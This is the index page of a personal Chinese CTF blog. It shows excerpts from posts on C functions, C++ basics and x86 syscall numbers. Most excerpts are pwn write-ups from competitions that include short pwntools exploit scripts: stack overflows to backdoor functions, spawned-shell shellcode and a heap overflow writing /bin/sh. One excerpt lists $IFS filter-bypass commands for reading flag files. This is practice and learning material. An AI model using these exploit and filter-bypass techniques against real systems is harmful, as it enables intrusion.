avatar
Articles
29
Tags
7
Categories
8
Home
Blog
  • categories
  • tags
  • archives
Live
  • shuoshuo
  • photos
  • music
  • movies
Links
Comment
About
Star
Search
Home
Blog
  • categories
  • tags
  • archives
Live
  • shuoshuo
  • photos
  • music
  • movies
Links
Comment
About

Star

函数_C
Created2025-09-15|函数|函数
strtol()格式:*long int strol(const char *str,char endptr,int base)**,把*参数str指向的字符串根据给定的base转换为一个长整数,base必须介于2和36之间或为0。返回值为被转换的长整型整数值**。 strstr()格式:*char *strstr(const char *haystack,const char *needle),在字符串haystack中查找第一次出现字符串needle的位置,不包含终止符\0。返回值为指向haystack中第一次出现needle的位置的指针,若没找到则返回*NULL。 memcpy()格式:*void *memcpy(void *str1,const void *str2,size_t n),从存储区str2复制n个字节到存储区*str1。返回一个指向目标存储区str1的指针。 strcspn()格式:size_t strcspn(const char *str1,const char...
C++_Study
Created2025-09-14|C++|C++
0-hello_world学习一门语言一开始都要做的事,编写程序打印出hello world。(尽管什么都不会) #include<iostream>using namespace std;int main(){ cout << "hello_world" << endl; system("pause"); return 0;} 1-初识1-1:注释在代码中加一些说明和注释,方便自己和他人阅读理解代码。 单行注释:通常放在一行代码的上方或末尾,对该行代码进行说明,格式如下 //描述内容 多行注释:通常放在一段代码的上方,对该段代码进行说明,格式如下 /*描述内容*/ 示例如下: #include<iostream>using namespace std;/*打印hello_world字符串的函数*/int main(){ cout << "hello_world" << endl; ...
系统调用号
Created2025-09-09|系统调用号|系统调用号
32位#ifndef _ASM_X86_UNISTD_32_H#define _ASM_X86_UNISTD_32_H 1#define NR_restart_syscall 0#define NR_exit 1#define NR_fork 2#define NR_read 3#define NR_write 4#define NR_open 5#define NR_close 6#define NR_waitpid 7#define NR_creat 8#define NR_link 9#define NR_unlink 10#define NR_execve 11#define NR_chdir 12#define NR_time 13#define NR_mknod 14#define NR_chmod 15#define NR_lchown 16#define NR_break 17#define NR_oldstat 18#define NR_lseek 19#define NR_getpid 20#define NR_mount 21#define...
NewStarCTF2024
Created2025-09-06|比赛|ctf
Game 就是不断输入1至9的数字,当输入的数字的和大于999时获得shell。 from pwn import*io=remote('61.139.2.1',57621)for _ in range(120): io.sendline(b'9')io.interactive() Real_Login简单的签到题目,输入的字符串与程序设定的password一样就能获得shell。 from pwn import*io=remote('61.139.2.1',59414)io.sendlineafter('your input: ',b'NewStar!!!')io.interactive() gdb 该程序先对字符串进行加密,用户再输入字符串并进行对比,若一致则获得flag。 使用gdb进行调试。 from pwn import*io=remote('61.139.2.1',63397)io.sendlineafter('data:...
NewYearCTF2025
Created2025-09-04|比赛|ctf
messages 该程序主要由intput_messages函数与print_messages函数组成,主要实现了先将输入的字符串存储到bss段上,再将字符串拷贝到栈上,由于输出时没有检测字符串最大个数,因此可以造成数组下标越界从而覆盖返回地址返回到getflag函数获得flag。 from pwn import*io=remote('61.139.2.1',62280)payload1=(b'aa\0'*16)[:-1]payload2=b'\x01\x01\x00'*3+p64(0x401196)io.sendlineafter('>',payload1)io.sendlineafter('>',payload2)io.sendlineafter('>',b'\n')io.interactive()
XCTF系列
Created2025-09-02|比赛|ctf
buu刷题记录
Created2025-09-01|pwn|ctf
test_your_nc直接nc连接获得shell from pwn import*io=remote('',)io.interactive() rip直接溢出修改返回地址 from pwn import*io=remote('node5.buuoj.cn',29162)ret=0x0401016backdoor=0x401186payload=cyclic(0xF+8)+p64(ret)+p64(backdoor)io.sendline(payload)io.interactive() warmup_csaw_2016from pwn import*io=remote('node5.buuoj.cn',27239)backdoor=0x40060Dret=0x04004a1payload=cyclic(0x40+8)+p64(ret)+p64(backdoor)io.sendline(payload)io.interactive() ciscn_2019_n_1from pwn...
nss刷题记录
Created2025-09-01|pwn|ctf
singout一道nc连接的题目,主要是禁用了一些获取flag的指令。借鉴了一些wp,有以下方法: tac${IFS}f*tac$IFS$9f*nl${IFS}f*nl$IFS$9f*tail ./*tail$IFS$9./f* 感觉挺奇特的 [NISACTF 2022]ezheap 这里申请了两个堆块s与command,存在gets函数会形成堆溢出,system函数会执行command堆块的内容,那么这里的想法就是造成堆溢出从s堆块溢出到command块并写入/bin/sh 这是gets前申请的s堆块与command堆块里面的内容,可以看出我们需要输入28字节大小的内容,再输入command堆块的size,就可以覆盖command堆块里面的内容。 这是gets后的两堆块里面的内容,可以看出确实将command堆块里面的内容覆盖为了/bin/sh字符串,此时再执行system(command)就能获取shell。 from pwn...
GeekChallenge2024
Created2025-08-31|比赛|ctf
ez_shellcode简单的shellcode from pwn import*context.arch='amd64'io=remote('nc1.ctfplus.cn',39373)shellcode_addr=0x0401256shellcode=asm(shellcraft.sh())io.send(shellcode)payload=cyclic(0x18+8)+p64(shellcode_addr)io.sendline(payload)io.interactive() 你会栈溢出吗?简单的64位栈溢出,注意堆栈平衡 from pwn...
ISCTF2023
Created2025-08-24|比赛|ctf
stack一道不错的题目,让我对pwndbg的使用进一步的熟练 程序代码很简单,自定义输入字符串长度,通过循环不断输入,那么可以造成栈溢出,并且存在后门函数。但是此题的关键在于变量i会被覆盖,那么就会导致程序根据i将我们输入的东西写入到另一个地方。 因此,我们可以找准i的偏移,防止其被覆盖,我们就可以正常栈溢出到返回地址。 from pwn import*io=remote('challenge.imxbt.cn',20197)#io=process('./stack')ret=0x040101abackdoor=0x4012E6def debug(): gdb.attach(io) ...
123
avatar
Star
Articles
29
Tags
7
Categories
8
Follow Me
Announcement
This is my Blog
Recent Posts
LilCTF2025_ret2all2025-11-06
MoeCTF_20252025-11-05
第十六届极客大挑战2025-11-01
2025_NSSCTF秋季招新赛2025-10-31
Question_CTF_20252025-10-22
Categories
  • C++1
  • daily1
  • pwn3
  • shellcode1
  • test1
  • 函数1
  • 比赛20
  • 系统调用号1
Tags
ctfC++dailytestshellcode函数系统调用号
Archives
  • November 2025 3
  • October 2025 5
  • September 2025 10
  • August 2025 7
  • June 2025 1
  • May 2025 1
  • April 2025 1
  • March 2025 1
Website Info
Article Count :
29
Unique Visitors :
Page Views :
Last Update :
©2025 By Star
Framework Hexo 7.3.0|Theme Butterfly 5.3.5
Search
Loading Database